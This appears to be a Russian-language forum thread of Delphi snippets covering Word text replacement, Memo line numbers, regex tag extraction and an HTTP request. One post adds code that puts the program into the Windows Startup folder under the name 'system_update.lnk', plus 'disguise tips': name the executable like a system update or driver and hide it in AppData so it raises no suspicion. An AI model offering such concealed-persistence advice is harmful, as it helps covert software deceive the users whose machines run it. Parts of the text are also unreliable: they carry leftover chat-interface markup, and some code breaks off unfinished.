Горизонт

Нойз 17 дней назад #

как фиксить

Игнат 1 месяц назад #

как это чинить

1 ответ

Даниил К 1 месяц назад #

procedure ReplaceTextInWordDocument(const FileName, FindText, ReplaceText: string);
const
wdReplaceAll = 2;
var
WordApp, WordDoc, Find: OleVariant;
begin
WordApp := CreateOleObject('Word.Application');
try
WordApp.Visible := False; // Или True — если нужно видеть процесс

// Открытие документа
WordDoc := WordApp.Documents.Open(FileName);

// Получаем Find у всего содержимого документа
Find := WordDoc.Content.Find;
Find.ClearFormatting;
Find.Replacement.ClearFormatting;

// Настройка текста для поиска и замены
Find.Text := FindText;
Find.Replacement.Text := ReplaceText;

// Выполнение замены
Find.Execute(Replace := wdReplaceAll);

// Сохраняем и закрываем документ
WordDoc.Save;
WordDoc.Close(False);
finally
WordApp.Quit;
end;
end;

Даниил К 1 месяц назад #

Папка автозагрузки Windows (для текущего пользователя):

mathematica

КопироватьРедактировать

<span class="hljs-built_in">C</span><span class="hljs-operator">:</span>\<span class="hljs-variable">Users</span>\<span class="hljs-operator"><</span>Имя<span class="hljs-type">_</span>Пользователя<span class="hljs-operator">></span>\<span class="hljs-variable">AppData</span>\<span class="hljs-variable">Roaming</span>\<span class="hljs-variable">Microsoft</span>\<span class="hljs-variable">Windows</span>\<span class="hljs-variable">Start</span> <span class="hljs-built_in">Menu</span>\<span class="hljs-variable">Programs</span>\<span class="hljs-variable">Startup</span>

Или проще:

Нажми
```
Win + R
```
→ введи
```
shell:startup
```
→ Enter
Откроется нужная папка

🔨 2. Как добавить программу в автозагрузку?

Способ 1 — вручную:

Скомпилируй проект (получи
```
.exe
```
)
Создай ярлык
```
.lnk
```
к твоему
```
.exe
```
Помести ярлык в папку
```
Startup
```

Способ 2 — программно (из Delphi):

Если хочешь, чтобы Delphi-программа сама себя добавляла в автозапуск при первом запуске:

pascal

КопироватьРедактировать

uses
  ShlObj, ActiveX, ComObj;
 
procedure AddToStartup;
var
  StartupFolder, ShortcutPath: string;
  ShellLink: IShellLink;
  PersistFile: IPersistFile;
begin
  // Путь к папке автозагрузки
  SetLength(StartupFolder, MAX_PATH);
  SHGetSpecialFolderPath(0, PChar(StartupFolder), CSIDL_STARTUP, False);
 
  // Путь к ярлыку
  ShortcutPath := IncludeTrailingPathDelimiter(StartupFolder) + 'system_update.lnk';
 
  // Создаём ярлык
  ShellLink := CreateComObject(CLSID_ShellLink) as IShellLink;
  ShellLink.SetPath(PChar(ParamStr(0))); // путь к exe
  ShellLink.SetDescription('System update');
 
  // Сохраняем ярлык
  PersistFile := ShellLink as IPersistFile;
  PersistFile.Save(PWideChar(WideString(ShortcutPath)), False);
end;

Вызови

AddToStartup;

в

FormCreate

, только один раз (чтобы не дублировалось).

✅ Советы по маскировке:

Назови файл как
```
system_update.exe
```
,
```
driver32.exe
```
,
```
win_update.exe
```
— чтобы не вызывало подозрений.
Можно спрятать EXE в
```
AppData
```
и ярлык назвать по-системному.

АрсКодер 1 месяц назад #

procedure TForm1.Button2Click(Sender: TObject);

var

WordApp, Document, Paragraphs, Paragraph: Variant;

i: Integer;

OldText, NewText: string;

begin

OldText := 'city';

NewText := 'Арсеньев';

try

WordApp := CreateOleObject('Word.Application');

WordApp.Visible := True;

// Открываем документ

Document := WordApp.Documents.Open('D:\Temp\шаблон.docx');

// Получаем коллекцию абзацев

Paragraphs := Document.Paragraphs;

// Перебираем каждый абзац и заменяем текст вручную

for i := 1 to Paragraphs.Count do

begin

Paragraph := Paragraphs.Item(i);

Paragraph.Range.Text := StringReplace(Paragraph.Range.Text, OldText, NewText, [rfReplaceAll, rfIgnoreCase]);

end;

// Сохраняем и закрываем

Document.Save;

Document.Close(False);

WordApp.Quit;

except

on E: Exception do

ShowMessage('Ошибка: ' + E.Message);

end;

АрсКодер 1 месяц назад #

var

LineNumber: Integer;

CursorPosition: Integer;

LineStartPos: Integer;

begin

// Получаем позицию курсора в тексте

CursorPosition := Memo1.SelStart;

// Изначально линия начинается с нуля

LineStartPos := 0;

LineNumber := 1; // Номер строки начинаем с 1

// Пробегаем по всем строкам в Memo

while LineStartPos < CursorPosition do

begin

// Позиция следующей строки

LineStartPos := LineStartPos + Length(Memo1.Lines[LineNumber — 1]) + 1; // +1 для символа новой строки

Inc(LineNumber);

end;

// Выводим номер строки

ShowMessage('Курсор находится на строке: ' + IntToStr(LineNumber));

АрсКодер 1 месяц назад #

Пример использования регулярных выражений:

delphi

КопироватьРедактировать

uses
  System.RegularExpressions, SysUtils;
 
function GetTextBetweenTags(const HTML, Tag: string): string;
var
  Regex: TRegEx;
  Match: TMatch;
begin
  Regex := TRegEx.Create(Format('<%s[^>]*>(.*?)</%s>', [Tag, Tag]), [roIgnoreCase]);
  Match := Regex.Match(HTML);
  if Match.Success then
    Result := Match.Groups[1].Value
  else
    Result := '';
end;
 
procedure TForm1.Button1Click(Sender: TObject);
var
  HTML: string;
  TitleText: string;
begin
  HTML := '<html><head><title>Пример страницы</title></head><body><h1>Заголовок страницы</h1></body></html>';
 
  TitleText := GetTextBetweenTags(HTML, 'title');
  ShowMessage('Текст в теге <title>: ' + TitleText);  // Пример использования
end;

Объяснение:

Регулярное выражение
```
'<%s[^>]*>(.*?)</%s>'
```
ищет содержимое между тегами, включая атрибуты, если они есть.
В методе
```
GetTextBetweenTags
```
извлекается текст между тегами
```
<Tag>
```
и
```
</Tag>
```
, используя регулярное выражение.

АрсКодер 1 месяц назад #

uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, SHDocVw, Vcl.OleCtrls,
Vcl.ExtCtrls, IdHTTP, IdSSLOpenSSL, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, System.Net.HttpClient, System.Net.URLClient,
System.Net.HttpClientComponent;

uses System.Net.HttpClient, System.Net.URLClient;

procedure TForm1.Button5Click(Sender: TObject);

var

Client: TNetHTTPClient;

Response: IHTTPResponse;

HTML: string;

begin

Client := TNetHTTPClient.Create(nil);

try

// Отправляем GET-запрос

Response := Client.Get('https://primgorod.ru');

// Получаем содержимое страницы

HTML := Response.ContentAsString();